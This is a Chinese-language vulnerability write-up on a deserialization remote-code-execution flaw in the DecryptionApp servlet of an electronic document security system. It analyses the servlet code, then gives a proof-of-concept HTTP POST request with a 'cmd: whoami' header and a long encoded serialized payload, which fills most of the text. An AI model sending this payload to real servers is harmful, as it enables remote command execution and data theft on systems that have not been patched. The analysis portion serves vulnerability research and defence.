某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE

前情提要：某通是使用了servlet框架，一般都是先去web.xml寻找相关路由进而确定代码的位置

代码分析

首先进入到WEB_INF的web.xml文件中，ctrl+F搜索DecryptionApp

ctrl点击进入到该这个com.esafenet.workflow.servlet.DecryptionAppServlet中,该类继承了HttpServlet类，那我们重点关注的就是前端交互的方法即service方法中，在该方法中有我们可以控制的参数request

现在就详细分析下这个service方法中的内容

分析：我们先分析从65-83行的内容，该部分就是先后创建了以一个实体类DecryptionApp,一个List列表，一个实体类DecryptionAppResp，之后从前端传过来的数据request利用getXMLFromRequest方法提取XML格式的字符串数据并利用fromXML其将转换为一个DecryptionApp对象将其赋值给dec

接着分析84-109行

分析：先后创建了Flow和FlowDetail的实例化对象，这两个类都继承了Serializable接口，之后获取dec的UserName和Files的值并且设置了APPDate,接着判断list参数是否为空，不为空就是进入for循环中。该for循环中处理了与审批流程相关的文件上传(即list列表中的内容)，它检查文件是否重复，若存在这向前端发送相关的XML数据，若不存在就构建出文件路径和列表字符串。

该代码并没有对前端的数据进行任何的过滤只是进行了简单的数据库查重，这就触发了我们的文件上传漏洞，同时这个Flow类继承了Serialization的接口存在反序列化漏洞

接着从111-270行，因为内容太多并且对我们的漏洞利用没有太大作用我们就简单说一下，这段代码就是处理了工作流(Flow)相关的审批流程包括了审批者的确定、审批级别的分配以及审批状态的初始化

接着就是到265-297代码的分析

分析：该部分的内容就是将模板名称、标志位以及之前的文件列表字符串设置到工作流对象flow对象中，接着就是进行sql数据库的连接以及调用flowDao的addFlow方法将flow对象添加到数据库。如果操作成功最后将我们的数据以XML的形式反应给前端

总结

该漏洞的形成利用了两个点

1. 在对前端输入的内容中，没有对文件的内容等方法方面进行相关的限制，导致可以上传任意的文件
2. Flow类中继承了serialize接口，我们在上传的参数中若存在序列化的内容即可利用它来进行反序列操作，进而造成相关数据的窃取

漏洞复现

poc

POST /CDGServer3/DecryptionApp?command=GETSYSTEMINFO HTTP/1.1

Host: your-ip

User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

Accept-Encoding: gzip, deflate, br

Connection: close

Content-Type: text/xml

cmd: whoami

​

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGKKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJCDJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCENBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPMPJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFMFOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGLPNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJIKALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPIALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIMBKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBFBMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFAJIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPCOKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHKJHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDNJFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFBIEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAFIDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAEJELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJLADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDIIENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKLLKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNOOFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJNDMJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJBFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLOHFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJNMEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPGJLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFEFKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMINIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIPNGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDFLNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDFPEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEMJJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKMGPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGFDKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAAONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKNMELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKPBFOBDLLOIBAHALODFMHODOHOPGPMGLIPIJONOFCGMELPFMKMMCPFFNMILJFONAACCBCIJFCAFHOHLBALEIGHDPMMFMFIHKJBAGGGBDEDNCDHEJALEBDPIIEGCKGKMPLGKJGEJAJPMIFCDBAELNMDPNKFCAEGJCAFJPJBBMPLMEIGCNPOLIGHCLGMEJLKCHEPGBJCCDECFMKIBLFIGOFEJKPGAHIGOHNOKMLOHLKDIPAPMFOPBHDBMAAEBEOKBEMEHIILJENNPKHJIMJMNLGHMAENHOHGMEFLKPJJBHDGLGAAMIGDMDCHBMICMDKNGPCOPEKDEMFLKINAMOKNDLDBABNGLFPJHFMKMBBCAEJDENPHGJGGPLMIIHHIAHGIBOINFBNCKJLJIGEPNAOGJFAFPDDBHEBCKNNJKJDLBPHHDNNCEDGAKHGOKPMCLOOPIHHNFMNFOILEAOIFGOJGPDCBLNGLEIOHHHAJPFPGLJNFFHKCNMFGHAHANBJLHJFNNLIBEIFKHJHMENIIOONPDMFOCPKEDHHMEPHAJKGALDFDBOFKBOCDDAFLJBDIENKOHGJPHGLOPDMIEPDBHBBEILLFPOAKJKJAPFKAOMLFOJBLAAEAIFLBOMGECGDBILGNGBEHDEOFLOLHJKAOJMJKNNLKNDHAPCKCHLAFHMCCLNNIIGJLDLCCOALPEPPNEBDNPGEMMPFFALFDONIGHJEMJGJGPLKDKMBGCLJEPLHDBOIKMNGELEKLJLFFAEEEDMBJFLJGGHMPHADEJEJLKJCMLNFIELFBOKAOPCIMCEBFNGMECGFAMMNOMCHKEIJGGNIHKPBFJLKODLLABGBJANDJFBJNBDHIDNGJGLAOFHGFBMJAFJNNLKNBAALOGIIHFMIOLDOEEFNNJDFLIMNBAHJGPJBDHIKGHCDMMLKFOHOJFLOLHHCEJACKLGHIBJHJHGMECCLNHBDGHFNPNOFEJKKOMEFONNBANBKOLDEMFCMDLNLGDBFEOIKAFJDAHAEJHMIJGJFAOJIHAIBHOOEMHHCOODAIEOEBFLMNAMDIIDLDHAIJDBKCMGKJFHHFKKGABCJCPHBBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIINLEMPICLDNGAEELNGONJIKOPFIJBJIPDGPLEDMHNJJHLBJDDGNDIHECEJNEFNLEHNHFCFOEEEGFIOKCPENDLNJJHGFJGAMNFLNFFIMPGKEMKKAMEPBAHBKBHGGIEANHFOKPEDDNLADKABNLJPONGDIGMCLENLOBAKMEPODENJNNDPEOCCLMLOJDJPPPMEFLBFLAIDHNCCHDDONIDPMKIOAGODDPKHDBGFCIGOAFLPBMELEPDHECABPOFMOKJECEHKIJIKHLCEFMAIGEKAALLCMMCDLPHELOCEDNIAIIHJCGFHJFBBKFKCFOBAABJEIMEIMDPEPCHKEBCEMIPECMAJGCEKHGOKOGFNHHFMKOICKKBKKKBDGDPCGLGMGALDDMEEFILPFOCFHFGIPOHKADHACFDJCGCKPANCHDAEDMNIEACGEECCNIBJGGIENIOENAFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHCMONHBAABOGHMPNGHHEHIHCBBJJINCFFJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIMBDPENPCFFFPDGMKEBPFOOFFBHCKPAGHGJJELHDFJBCKLMAJDCJIIILHKBHJJMKOAOMLFOJBLAAEAIFLBOMGECGDBILGNGBELIMDAFIFCBLHDHLCJLMAHCOKGMKDCLKKOGKKNDDAHMGGIAKGHAHPNADHLLPPFDJILKFMIHHPIMLOGMDHPFJHPMGEBKHGHLFDKPIKNDKFLBNHOODBEAHNBBDBALEJGOLJHFPKEIHMLKAJHBNICKMPHFANCLPNFFLDDHEKKOLODMEJOIJGPDOPCGDPKLNDLPBHFGIMJCPMLPCPNPCJCKNJBCJOJIJCHDGIDIIJGKMKAICADENFOEEGHJNEHADCHNEMABINOIIGAGNGNPNCPALKIADLLJBEMOKJEGPNELELFGCIFOMAFBPCAKEDHIGLMFPFIHGLFPIHFAOFBEIIDHKDCGIGPNOICHCLEAKLHILHDCONAKMNHALCLFLNOBIMBCMKNGHPIHGDEIGGILLNIHDPACAJGHBEBEBMIDAOCAAKGMNBCBENBLGLLLOKMDMJANECALMLPLJNKGJKBLCIPBJBPMJOHNPOBPOBCGEMKBPJABNDBKCGAFALLDPJHHGMOGDJDNEKGJBMEIBPIJIOLDOPCEDKDPACBAAMDFLLJMFEGLKICDEMPCHMHIDFKFKDCMGGALJOLJEMCGHMKIMJPOEFPGECHMGBLGGGBJEHBDGGAJEALPEDHDGJPPFLLAHGGKAPCNJCIFBLMGGCKOJLHCHOIMMGEADLOPOPLIHPEPBAHNKNAKOFIMOBBJIBBHMFDNDAIIFMLPLABGGJEDHELLDPGHIGOECAEMDJBGHODPCNEDENIFPEHAMJDPDEMNJOACCBGPPEILNOKDFHCNGKANGBCDCDNGEIBMJODCBPJNGKLECPCHDHJEEDHNFJEKGLMAFKCMKAMJPDMJLBGLPEJLLHINCGOCOENMLDKLDLHIDAHBBINIEFLIFGBJGMGMDOJDLFNMAJDPIFGICFKKIECPIPHHBMAJJGNBPCKCOIMIOODGNDMKKMLKFIDHKBFGDHLGANLCJCDEMNPGCGPIPNEMIKDJJNKECHEJMCNAGDJNGIFFDPFGMAKLPLPLMOEDIEIOIIKMFLNDFDHCJHENMMAAJOFJLGDIAHBOCLMAGLPKKJAJGFPDCBJPGNAAMNGNNFDHDPIEHFFEPPJOMADEBHBIGFNOKHDKDNAIAAKLIGFNIFDKFMLJANODMADILHHONCGNLNJEKKAJHPMIDGHNJJOAGGFNKCOCONGBKNDNIJOLBGLGPLAKGCDIKIBNPMOACDBJLDLCNDCKFOJKINIIPBNBDHMNDEILFFCBIEMNMHCACEDFAHNMJLDEFGMJIINCJDNOHLDJIDOKKPCCENOHBDNMCGEHGENDBBBHFOFIAFGGCNKOKLMMCOOHNJEAJKILLKFJCEKEEDJHBGIMKLOEANBKMBFLDAGGOAIHNLDOPBPCHGNIDHGKFAMFGKBIIENFMJLHCGEMBKNJPMKDFCJCHFOLNOIPADHBEPLLHMNGEBMBHNLBHPIGHGPGKCPFOEGAHJKPIPGGMPIGNBDDIHKCLOFKIBBBHNPBNCLFGCHPOMIENELILEJPLKAHBJEPICAGJMNOAAOJLMPDBOOMEOFFAMKILAJANPCKENJMKLFKMBGOKBNKFGEGAEPEANNCIEENEBEBECBGLOKHEJCFCKABBAAMCDKCIMJLILOAEKHNKPCGOLDBBFFIGDHPDHOFNMLANMCHBIEHHIBHOPPLOFEGOAJLHCHPHGKLOCGJKKABNHLEHGKOINGEDMGDMCKKKLABBIOJCGANBDOCCELJCENBMIMBKCNJAEMBHLOJOGFLKJCNMEPJPKGKPHDGHIDCKAODGNNNCDKEDHLCIANLKENHMMDELDNBPNNNPHLGDDOLGDFPHOHFPBKMFEGOLFMMAFCNCDLMEKPKCDJNHIOJOOJADDHHHPPLGLMINICBIOEIALHBBCEGACCNDNOAPGNAGELEPGCBGLAEOPFGGIJBAKDFCPCCGJAHBDAJEPBCFMNJIKADAACMEFNBCBKICAALEICBCKEKHPCPDAKMDPGNCBBNKDFICFKKJEGOEJELPGLECFINPMBCCDLIGEJJALHPNHDAMIFEGJOCFGFDGBNJKHKAMOKOKKLIFIBAFAELPAPCHFFEOEBNFMLGPPMCDHDIIABOBFDCPFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBDLODOABMLPLAMCJIFGJNHALNOJMBLCFJFCDNCHLBGHLCAOICIJGDLGDMEKPHHMBOHAJJGMAIGLPIEIHHLKDOMBJMOPJIKBAKDHBBJLJJNPOHIDBAFAGMBLLPIEHENEMHNIFAGMMELMAJHCLFCDNFKHGEJFGGEIBKPFAFHFOFHGMCLLGCAJDGGJNKFBGDAAEAJNGEOJBBIFLLKNJIOJNHCFKPAPHGABENLMABGDMFOEEKIMHOBPCLPEAGNBFHEOMLGDDLDCODAJIEIPJNHJFDPHILIKHMHJHBJBLPNPPPJOJJBDJHCPOCLBIBBPJLLMNKIOKPHOFJKEJAMOBGCHOONMPJNEGDMNFPKMNOIOMJPEPDNKBODKFCDGJMGBCNHIGHFODOJAHDAFEDKOGGLMEJCOACLPIMCMPLDKDAPFJGGECGPNCEDGAEMJADOCGBEFIIPBMJMMMPNHNAKJOBMOIMMOMEBOBHPPIPAHJHKMJADIIDCIGOMDJBJHMHCGFJLELPFOMAFEAPHLHCCKKNNJMMLKIJEBGEBEDOOLIFHLKHCOONJMHCAFGOKNOAAKONAAPPMONFOJENLNEPGBJKLEHIGBDOAIDKAILCHIFPPGGFLGCPINADFPDCGMIHHIPHBCPIPHKGMGBPEICLDADONHGOFMMAMLAAHHMBIGNNOENIOJLMNGNMMKCNGEKEHLJHHCDFJKMDOGMOLHIEHDOCNBPILJOFBNCDONBOIHDDLALGCLOBNAFBDHNPEJJODIENCOCKHGOHOOLHFNDOFAEPCHOJNFJJNHKAIBGJEGDBHDFJGHGEPIAGPJBCCCAKMHIFDDNEDMCAOBCCGOHCMMADMKHCKIACBMGFKOGDNFGIGBJFFFKJFNIJAPHIMHKOLLIECAJFNFLJLLHEBIBLIOBOEIMNJMIJOCHEBEKPDJOCCMGGEOKGOMOFPKAICOHBGBOEFIIIAJKPEIIGBGLJCCAHJNKJFILFICJCPAICDGOBJIHMEOJHLCNJBDIEHHNDGKMKLLDLMAJLOHECBFJEOHKCABKIHGEBNMAGAODODMAOMOBILIIGCDKPJOKLAFLJLENBFFNNAKANMKNKNBNOJBKEKODPBIDDCELHBDDHCKEELKFLEHCNEFIAOJJHHHKIAGDJJGNKODKIGJAGBFEBMDEOMCHILDNFEEPFOGPPAHEHACDCHDOIDELKKBLAOJACMGMIDOJIJLPAOCLLIIFPLJDKCOEIOPBEAHBLGNHJHPLNMFFMKEHLOPIGNFNJNGIEPNELLHMIIGNPODEDCIHCIJBNMENKGFNOMILCBMELHLHNOBFLJHDIFLHPCKEAGJJNEAOBPNGKECFLDPPMCCLMNMHFICELDKEFNPMJHNGOKLOBHONELNCPLNDFKOIJONIBBBGABIANBIHHJDDLACPJEENOHCCDIJAPBKNNOECPIGOIMNMMPOGNCEOGDKNCCBHEEJCLEFMBEMEJICLGNHNIPEIOIAPKJDGOIKGEBGODFIGCHKCFFLPGFJBKDJOIMEJEHEEAOOJGLGKKDHGCIGFFOPILPFENMOKOMJLODFBNKOFEJKICAMBGPCPDNJOJDALNGCOFDAINHOAMCNLIIJEJENKBHFDAOFAAPJKBONHBMGGKAEMGHNJPCJFBDCKICEIELCGDJKIDFAKAFEHEBOMOBOGFDNEAANCAINACLGFMMFOMGCCBNLDCCPGLKNCABNEDFIGKDJHAEJIOOACADPENHDNOOKPILJCLNGMIIOPICHFPACILNJNAIEILINONKDMONACMLIKHOMPLHAODMDPFDNNKDMPMFEIMBOIMLOLCBBGOKONLDJCDDHGHIIIHDOLIJMGPFKMMPBDDPBIKJIBPKDNHOAHEFENPMKBLHOCDKLCKIMAOFHOEDNHKFNKKGHCICLAFKOBANHOIHACPLPLBCEJFONFMMGKINEPMEAANNFKCFODBDNAOIDMEFBLPBAIABHFJBNGMIKCJFGLPEHNDJHMGKFPPGEAFHEBFACNBIGGEIKCPBGIKHHNEAEMOAKKEMFKHDEBEGDDGJJLCIIICMNIDNMBIKHIDLJNCOHFENHIFNKJEECDNLHMPGPGMJMGJIJHDBFECNLMLFCLDFOMCFNBJELHJFFLDKGNOIHKEIFCBPOPCBGIJENFHKCNKOJMFBFIPFGBLFJCFPFNOCKGAADPFFEJFDNKGFMEILHBFMAFBMBOFNDGOMCGNIGJGOBPEOBPEKGPMMEMHLHMMCNDCDFPMACNDELNHGCALNPHHNFFLNAKEEEELCDLHDHBFOJBJFHBOJNBGEOLIACBICKNMEEGPBEKIBEEMKGKLDAKAALKOBBJIGECCKHILNGKJLKGJBOPOFHCNHBKFPHLLLLMNNKPJADFGMCMPLILPCLOLJPOCIOOPOAPPMPFOEPNFGEEDALHLEIHJFAIHCFKLJKCBAABOIBBEAGAAPJJIHIHIACHLKBCPMEHCDGDPKPMALDBADOEKFMDFGAPPGNNJDAMPMNBAEHLLGIGCOLKJPGANBJODFEMFHHDAIMFNNIAEAKLKBBEEADPHIDIINDABGNKNOODAGKLPGAIOIFJLONMCNGOMOEALKIIJFLAHEDDNHDENODGINCAGDBFAAECFCNPBBOBBIALOHDOIOMMMJCAHMEFMAGNLALDIPAJPHLOKCHJGGLGEHFJKMDEAHEGABCCMCFOBFCMGGKGBCCBPJIJJNHNAPPECAPJEHMDMOLFIEOIFOFFGKCFCNFAKAPGBMEBJGIDLDBNHOLJGLOKOOKCNHGLNEGNBKHFDOJINFAPPKMMOJCOCENEHPCGDNKKOJFPBNFHIDDHFPHMCOAOKMOPHJNOJCFOJJGOOLNCKAHBFDPIDMJGKBHHEAIOKPJEAJJCNJFMMCKHJANGDEIHKHBAAFJCJGGECNBIBNLBLFMBGDJGHJDPMBIMPJLLBNNANCJJHBJBLEPGNIJOLGJLCGEJKNGBLDLGKMIOANJGGDPHHCGHLENGJHBANCELNLNNBADCDDCDOENGLFGIEBCMHPFBLOIDMDNBCAMFMCMMKCDKPOFBJFBGCMPOFAPCILIPFJDEDDAGKFMHBBEHIHOAGDKPONBOADJEIKKBPNBAPDNOEEEFONAMIFBLIHLLKOLEFHKPPKONJOCFHFOAPIJGMHKPHGIMBGOBOAOCGLMGDLIOPIJKFJIPCHAJEGJFCPOBLAEDFFGIMKEIPDBKNCKIHFHCIHDFACJMOGHMONMPPDKODNGCOBFMKBBMIEFGHOKOMDADNGANEMKDFLNMCABMOONIFKFEGDLJFAHLOODEBNBKFGPLANHIJFFDLBFJDCJHMPCPHBDPFICAJHCBBKLNLGEPHMCGKEKOLJBIIAMLMCFBIGACEHBBLHAIBBODKEDBPKPADPBJIKCGFCKDHPKCGELAMHIFEBBICMAGHPDCIIAJMBKCFMHJDHIPNNHFJILAIBPKKGLOEONLBLJGCIMHKAJCAHCNNDBDEJNDGFNMEJJECPFIONGEMLMOPEDNJDFBAHAEBOKMCNEMBEOMFIFCKLEKNLJOAINFFJLKPGPLHJMAOMLFLGDPBCIIPPPOHNMKOKPGEMFEOLDEHEJMPIOIAODDNJOFGLHNDAJICAOFOJKDDFBMMJJEIAPPNDBAKMJIIGNHJOPHKPINANLLLBBIGNIKKHDLKLJGOPKHGHICEACMCJNMMDJGBNACEOFNBDNKAKIOMHPECJEELPLNGPGMPHCOJGOFBENNNKIEKOJHKDAFGBAKHGILNJMMOKHDMIDIOGGKPFIFJOLIDDEGFCLKGNICGHJOINJCBOPOBKNAIDEEAGGLCMCEGPGEDPNFIKEADDPPINJIOMFKGCMJHDHLGMODMMGCNEIGNGGEMLLABHCCHGGDPGHJFBJMCCFGJCLCFCDJEBFMDMIEDBFJPKLONGIHJABFOGBAALJKCADCBOMDFAHLBPIJEFGLGOGPEAFAKFJCALDHMICDCIHPICLPEANCLCBKOIAMEHHLFIJHPEACFCPDDKCJHMNDBHEHLHBHHPEEACDMICBKGDHODHPCMLAMHOEJKAOODJCIPGMOCGPOAFJDDLGCENAKAFDBDEOKAGLBHJHEJEHCCJEFMIFNJDPDFNFFPAOLIHNFLJDDECGLCJNEEACCJDHPKOIJMOJOPDOKIGOPKMOHHPNOLCDHMOOFDKKBCBEPJPFJBDOEJBCODALFBPMGFPHEMFIBCBEMCANBOMOAKAIGFHJAKKGGAMDPDFMHEEDFHOHKABHBEJFEGAEIPMBPBIHIABBILCOGDCPKHJIPBLCLJEENPKOJLHMALCEKELIPFFLJNNBINAPPOFHPEJDNNILKCEECPJIGJMKEJCNPEKJMDKPLLEHDDIGKKEDEPFHIJKKPNBBAJAMKNMNHIJFHBCKPKAKMAKCHMJJPFMFCFBKJMMEBABPCGCOCNKBJJPLMPHPJFLJLDABHNFFBOIGNCOFHBMFKCKMMENEJCPDOBPMAIDHBNKIAIGKAAHDCAIBLBKPNNLBNMEDCCOBGMDMAHJPPENANOCILDNELHNCIEAOMGKLMCLLEDDPNLDJNBFPEJOKCNNCJHKAPOCGFGENACAGBNBDEIAMGCCGKDNOLNKOCNMMABOMGGKGOFFOLKALPKFNMJJMEMMBBIAAFAAFPIBBDLOENGFIJJAFHNKKIDCGJNIGAFPCPDHPJAKCEKCCKDAIEDJCIJGMJJLEOEDELMJJMEJCCNEIMPDKIALLHFJNNGHOMIJIDPOCLOMECDFMEPAGLKNKEAPKHCBCFDINJHAGJAGPCGEJJEFAABLOEHMDIIGNKKDIILLFGPMBOIKEAAAJGPJHFGAFFPFEPKIKLKBMKLODNLBMFIEFPGAGFPCDCPJACDAEHCFOGEJHHLLBLBBDDOEEJJBPPHDCCOGPOPFOPCFJKBGCNCLLHNAJKIKLHKKIJLAIKBHCMBODNCPCLNHDLMHDPNKGIBANJJHCFLIMKPFOAIEDBDMIBEEPIHODEOLGAJHBNEOGCKIBMGIMJKLAOFAIACFJGOFEIBIOOPDCDCNFIOGCDKEGHEIAOBDCKLLGMEOEKIEHCEBFKAGOLFGCMNLNMJCNJMDBHMDPEGHHFKOJDDAPPHJMBLBDODOHKPNABBMBHMCCMKINKJLCIFBIPCENLPLOFOAJPEFHCDEOGLGFHNOBFFLHDMHNEFAIPMBJJMIIDAEAJAKGDIHIOIPIOPBJKOLEHJLBIOLGLBMHNCNDAHOGDOILIJANBPNLPPKCOKJFJPCLFJPGKDCBMGEOGGGANMMKDILOMJJLPKJJCOPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDFLKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBKHHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLD